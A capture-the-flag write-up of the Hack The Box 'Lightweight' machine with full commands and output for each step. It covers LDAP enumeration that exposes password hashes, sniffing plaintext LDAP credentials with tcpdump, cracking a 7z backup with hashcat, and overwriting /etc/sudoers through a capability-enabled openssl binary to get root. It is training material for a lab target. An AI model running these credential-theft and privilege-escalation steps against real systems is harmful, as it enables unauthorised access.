Write-Up: Hack The Box - Lightweight

Lightweight was a nice and straightforward machine from Hack The Box (https://www.hackthebox.eu) that was fun to solve with medium difficulty. The idea behind the box is simple, we get initial ssh access and keep escalating privileges until we reach root. It’s a linux machine and the ip was 10.10.10.119 in the HTB subnet. Let’s get started.

Write-Up: Hack The Box - Lightweight

htb_lightweight.png

 

 

 

 

 

 

 


Nmap

As usual we will start with nmap to scan the host for open ports and services.

root@kali:~/htb/lightweight# nmap -sC -sV -oA initial 10.10.10.119
Starting Nmap 7.70 ( https://nmap.org ) at 2019-05-13 11:41 UTC
Nmap scan report for 10.10.10.119
Host is up (0.036s latency).
Not shown: 997 filtered ports
PORT    STATE SERVICE VERSION
22/tcp  open  ssh     OpenSSH 7.4 (protocol 2.0)
| ssh-hostkey: 
|   2048 19:97:59:9a:15:fd:d2:ac:bd:84:73:c4:29:e9:2b:73 (RSA)
|   256 88:58:a1:cf:38:cd:2e:15:1d:2c:7f:72:06:a3:57:67 (ECDSA)
|_  256 31:6c:c1:eb:3b:28:0f:ad:d5:79:72:8f:f5:b5:49:db (ED25519)
80/tcp  open  http    Apache httpd 2.4.6 ((CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16)
|_http-server-header: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16
|_http-title: Lightweight slider evaluation page - slendr
389/tcp open  ldap    OpenLDAP 2.2.X - 2.3.X
| ssl-cert: Subject: commonName=lightweight.htb
| Subject Alternative Name: DNS:lightweight.htb, DNS:localhost, DNS:localhost.localdomain
| Not valid before: 2018-06-09T13:32:51
|_Not valid after:  2019-06-09T13:32:51
|_ssl-date: TLS randomness does not represent time

3 ports are open : 22 running SSH, 80 running HTTP and 389 running LDAP. Let’s check LDAP first.


Ldap Enumeration

To enumerate LDAP i used the nmap script ldap-search . You could also use the tool ldapsearch (https://linux.die.net/man/1/ldapsearch). Results are nearly the same.

nmap --script=ldap-search lightweight.htb

# Nmap 7.70 scan initiated Mon May 13 11:58:19 2019 as: nmap --script=ldap-search -o ldap.nmap lightweight.htb
Nmap scan report for 10.10.10.119
Host is up (0.17s latency).
Not shown: 997 filtered ports
PORT    STATE SERVICE
22/tcp  open  ssh
80/tcp  open  http
389/tcp open  ldap
| ldap-search: 
|   Context: dc=lightweight,dc=htb
|     dn: dc=lightweight,dc=htb
|         objectClass: top
|         objectClass: dcObject
|         objectClass: organization
|         o: lightweight htb
|         dc: lightweight
|     dn: cn=Manager,dc=lightweight,dc=htb
|         objectClass: organizationalRole
|         cn: Manager
|         description: Directory Manager
|     dn: ou=People,dc=lightweight,dc=htb
|         objectClass: organizationalUnit
|         ou: People
|     dn: ou=Group,dc=lightweight,dc=htb
|         objectClass: organizationalUnit
|         ou: Group
|     dn: uid=ldapuser1,ou=People,dc=lightweight,dc=htb
|         uid: ldapuser1
|         cn: ldapuser1
|         sn: ldapuser1
|         mail: ldapuser1@lightweight.htb
|         objectClass: person
|         objectClass: organizationalPerson
|         objectClass: inetOrgPerson
|         objectClass: posixAccount
|         objectClass: top
|         objectClass: shadowAccount
|         userPassword: {crypt}$6$3qx0SD9x$Q9y1lyQaFKpxqkGqKAjLOWd33Nwdhj.l4MzV7vTnfkE/g/Z/7N5ZbdEQWfup2lSdASImHtQFh6zMo41ZA./44/
|         shadowLastChange: 17691
|         shadowMin: 0
|         shadowMax: 99999
|         shadowWarning: 7
|         loginShell: /bin/bash
|         uidNumber: 1000
|         gidNumber: 1000
|         homeDirectory: /home/ldapuser1
|     dn: uid=ldapuser2,ou=People,dc=lightweight,dc=htb
|         uid: ldapuser2
|         cn: ldapuser2
|         sn: ldapuser2
|         mail: ldapuser2@lightweight.htb
|         objectClass: person
|         objectClass: organizationalPerson
|         objectClass: inetOrgPerson
|         objectClass: posixAccount
|         objectClass: top
|         objectClass: shadowAccount
|         userPassword: {crypt}$6$xJxPjT0M$1m8kM00CJYCAgzT4qz8TQwyGFQvk3boaymuAmMZCOfm3OA7OKunLZZlqytUp2dun509OBE2xwX/QEfjdRQzgn1
|         shadowLastChange: 17691
|         shadowMin: 0
|         shadowMax: 99999
|         shadowWarning: 7
|         loginShell: /bin/bash
|         uidNumber: 1001
|         gidNumber: 1001
|         homeDirectory: /home/ldapuser2
|     dn: cn=ldapuser1,ou=Group,dc=lightweight,dc=htb
|         objectClass: posixGroup
|         objectClass: top
|         cn: ldapuser1
|         userPassword: {crypt}x
|         gidNumber: 1000
|     dn: cn=ldapuser2,ou=Group,dc=lightweight,dc=htb
|         objectClass: posixGroup
|         objectClass: top
|         cn: ldapuser2
|         userPassword: {crypt}x
|_        gidNumber: 1001

If we take a look at ldapsearch results, we can clearly see that there are two users: ldapuser1 and ldapuser2. userPassword normally is a base64 encoded string but the nmap script already decoded it for us.

We could try to crack the hashes but thats boring and it also wasn't the intended way. So let's check HTTP.


HTTP

I tried to use gobuster for bruteforcing web directories and files, but it didn't work as the site blocked it :

htb-lightweight_website-home.png

It seems that, as soon as it registers some sort of bruteforcing a.k.a. many HTTP requests from the same IP, it bans this IP for some amount of time.

The info page was basically confirming what I was thinking:

htb-lightweight_website-info.png

But it also says: "If you like to get in the box, please go to the user page". So lets visit the user page:

htb-lightweight_website_user.png

Nice! So we can ssh into the box by using our IP address as the username and the password. Let's try it out:

root@kali:~/htb/lightweight# ssh 10.10.14.86@10.10.10.119
10.10.14.86@10.10.10.119's password: 10.10.14.86
[10.10.14.86@lightweight ~]$ 

User

One of the things I always check when enumerating a linux filesystem is the binary capabilities. So I used getcap on some directories like /bin/usr/bin and /usr/sbin. I noticed that tcpdump has cap_net_admin,cap_net_raw+ep capabilities.

[10.10.14.86@lightweight ~]$ getcap -r /bin/
[10.10.14.86@lightweight ~]$ getcap -r /usr/bin/ 
/usr/bin/ping = cap_net_admin,cap_net_raw+p 
[10.10.14.86@lightweight ~]$ getcap -r /usr/sbin/
/usr/sbin/mtr = cap_net_raw+ep
/usr/sbin/suexec = cap_setgid,cap_setuid+ep
/usr/sbin/arping = cap_net_raw+p
/usr/sbin/clockdiff = cap_net_raw+p
/usr/sbin/tcpdump = cap_net_admin,cap_net_raw+ep

I checked the Linux Capabilities Manual and found some info about these capabilities :

**CAP_NET_ADMIN**
              Perform various network-related operations:
              * interface configuration;
              * administration of IP firewall, masquerading, and accounting;
              * modify routing tables;
              * bind to any address for transparent proxying;
              * set type-of-service (TOS)
              * clear driver statistics;
              * set promiscuous mode;
              * enabling multicasting;
              * use [setsockopt(2)](http://man7.org/linux/man-pages/man2/setsockopt.2.html) to set the following socket options:
                **SO_DEBUG**, **SO_MARK**, **SO_PRIORITY** (for a priority outside the
                range 0 to 6), **SO_RCVBUFFORCE**, and **SO_SNDBUFFORCE**.

 **CAP_NET_RAW**
              * Use RAW and PACKET sockets;
              * bind to any address for transparent proxying.

Sounds great. I ran tcpdump on all interfaces to inspect the traffic. If we filter by ldap connections, we will see the following request when someone accesses /status.php:

tcpdump -i any -X port ldap 

[10.10.14.86@lightweight /]$ tcpdump -i any -X port ldap
...
16:44:01.708890 IP lightweight.htb.43156 > lightweight.htb.ldap: Flags [P.], seq 1:92, ack 1, win 683, options [nop,nop,TS val 66819651 ecr 66819651], length 91
	0x0000:  4500 008f 7d79 4000 4006 93ee 0a0a 0a77  E...}y@.@......w
	0x0010:  0a0a 0a77 a894 0185 0650 eb35 33dd 408a  ...w.....P.53.@.
	0x0020:  8018 02ab 2983 0000 0101 080a 03fb 9643  ....)..........C
	0x0030:  03fb 9643 3059 0201 0160 5402 0103 042d  ...C0Y...`T....-
	0x0040:  7569 643d 6c64 6170 7573 6572 322c 6f75  uid=ldapuser2,ou
	0x0050:  3d50 656f 706c 652c 6463 3d6c 6967 6874  =People,dc=light
	0x0060:  7765 6967 6874 2c64 633d 6874 6280 2038  weight,dc=htb..8
	0x0070:  6263 3832 3531 3333 3261 6265 3164 3766  bc8251332abe1d7f
	0x0080:  3130 3564 3365 3533 6164 3339 6163 3200  105d3e53ad39ac2.
	0x0090:  0000 0000 0000 0000 0000 0000 0000 00    ...............
...

Now we have the password for ldapuser2 in plain text: 8bc8251332abe1d7f105d3e53ad39ac2. Lets su :

[10.10.14.86@lightweight tmp]$ su ldapuser2
Password: 8bc8251332abe1d7f105d3e53ad39ac2
[ldapuser2@lightweight tmp]$ 

The user flag is in ldapuser2 home directory.

[ldapuser2@lightweight ~]$ cat user.txt 
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX

Privilege Escalation

Besides the flag, we have a backup.7z file owned by root.

[ldapuser2@lightweight ~]$ ls -la
total 1884
drwx------.  4 ldapuser2 ldapuser2     197 Jun 21  2018 .
drwxr-xr-x. 41 root      root         4096 Feb 18 16:37 ..
-rw-r--r--.  1 root      root         3411 Jun 14  2018 backup.7z
-rw-------.  1 ldapuser2 ldapuser2       0 Jun 21  2018 .bash_history
-rw-r--r--.  1 ldapuser2 ldapuser2      18 Apr 11  2018 .bash_logout
-rw-r--r--.  1 ldapuser2 ldapuser2     193 Apr 11  2018 .bash_profile
-rw-r--r--.  1 ldapuser2 ldapuser2     246 Jun 15  2018 .bashrc
drwxrwxr-x.  3 ldapuser2 ldapuser2      18 Jun 11  2018 .cache
drwxrwxr-x.  3 ldapuser2 ldapuser2      18 Jun 11  2018 .config
-rw-rw-r--.  1 ldapuser2 ldapuser2 1520530 Jun 13  2018 OpenLDAP-Admin-Guide.pdf
-rw-rw-r--.  1 ldapuser2 ldapuser2  379983 Jun 13  2018 OpenLdap.pdf
-rw-r--r--.  1 root      root           33 Jun 15  2018 user.txt

I transferred it to my machine by encoding it to base64 and copy pasting the result.

[ldapuser2@lightweight ~]$ base64 -w 0 backup.7z 
N3q8ryccAAQmbxM1EA0AAAAAAAAjAAAAAAAAAI5s6D0e1KZKLpqLx2...
root@kali:~/htb/lightweight# echo -n N3q8ryccAAQmbxM1EA0AAAAAAAAjAAAAAAAAAI5s6D0e1KZKLpqLx2... |base64 -d > backup.7z

The compressed file is locked by a password, so I used 7z2hashcat to retrieve the hashcat hash.

root@kali:~/htb/lightweight# perl 7z2hashcat.pl backup.7z > backup.hash

Now use hashcat with the retrieved hash to obtain the password (delete).

root@kali:~/htb/lightweight# hashcat -m 11600 backup.hash /usr/share/wordlists/rockyou.txt --force
hashcat (v5.1.0) starting...
$7z$2$19$0$$8$11e...71eb$4218$03:delete

I extracted the files from the 7z to get index.phpinfo.phpreset.phpstatus.php and user.php.

root@kali:~/htb/lightweight# 7z e backup.7z -pdelete

Those files seem to be a backup of the website code. If we read status.php we can see ldapuser1 credentials.

root@kali:~/htb/lightweight# cat status.php 
...
$username = 'ldapuser1';
$password = 'f3ca9d298a553da117442deeb6fa932d';
$ldapconfig['host'] = 'lightweight.htb';
$ldapconfig['port'] = '389';
$ldapconfig['basedn'] = 'dc=lightweight,dc=htb';
//$ldapconfig['usersdn'] = 'cn=users';
$ds=ldap_connect($ldapconfig['host'], $ldapconfig['port']);
...

Once again, I used su to change the user, because we have ssh also disabled for ldapuser1.

[10.10.14.86@lightweight /]$ su ldapuser1
Password: f3ca9d298a553da117442deeb6fa932d
[ldapuser1@lightweight /]$ 

If we run getcap to find files with capabilites we see /home/ldapuser1/tcpdump and /home/ldapuser1/openssl. We didn't see those binaries before because they are under ldapuser1 home directory.

[ldapuser1@lightweight ~]$ getcap -r / 2>/dev/null
/usr/bin/ping = cap_net_admin,cap_net_raw+p
/usr/sbin/mtr = cap_net_raw+ep
/usr/sbin/suexec = cap_setgid,cap_setuid+ep
/usr/sbin/arping = cap_net_raw+p
/usr/sbin/clockdiff = cap_net_raw+p
/usr/sbin/tcpdump = cap_net_admin,cap_net_raw+ep
/home/ldapuser1/tcpdump = cap_net_admin,cap_net_raw+ep
/home/ldapuser1/openssl =ep

We can use openssl to read files as a privileged user and we could run the following command to read root's flag.

[ldapuser1@lightweight ~]$ /home/ldapuser1/openssl base64 -in /root/root.txt | base64 -d

But we're going to get a root shell instead, because with openssl we can also edit files, so let's just add our user to sudoers.

First create a file which will have the desired contents of sudoers (encoded in base64).

[ldapuser1@lightweight tmp]$ echo -ne "root\tALL=(ALL) ALL\n\"10.10.14.86\"\tALL=(ALL) ALL\n%sudo\tALL=(ALL) ALL\n" | base64 > caca

Now use openssl to read that file, decode it and put the result in /etc/sudoers.

[ldapuser1@lightweight tmp]$ /home/ldapuser1/openssl base64 -d -in /tmp/caca -out /etc/sudoers

We can read that file to verify our user is now there.

[ldapuser1@lightweight tmp]$ /home/ldapuser1/openssl base64 -in /etc/sudoers | base64 -d
root	ALL=(ALL) ALL
"10.10.14.86"	ALL=(ALL) ALL
%sudo	ALL=(ALL) ALL

Now we can execute everything as a privileged user with our user.

[10.10.14.86@lightweight ~]$ sudo -l
[sudo] password for 10.10.14.86: 
User 10.10.14.86 may run the following commands on lightweight:
    (ALL) ALL
[10.10.14.86@lightweight ~]$ sudo su
[root@lightweight 10.10.14.86]#

Now we can see the real website code and observe that when we visit status.php ldapuser2 connects to ldap. That's why we could see that traffic through tcpdump.

[root@lightweight ~]# cat /var/www/html/status.php
...
$username = 'ldapuser2';
$password = '8bc8251332abe1d7f105d3e53ad39ac2';
$ldapconfig['host'] = 'lightweight.htb';
$ldapconfig['port'] = '389';
$ldapconfig['basedn'] = 'dc=lightweight,dc=htb';
//$ldapconfig['usersdn'] = 'cn=users';
$ds=ldap_connect($ldapconfig['host'], $ldapconfig['port']);
...

Obviously we are now also allowed to read the root.txt flag.

[root@lightweight ~]# cat root.txt 
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
Share: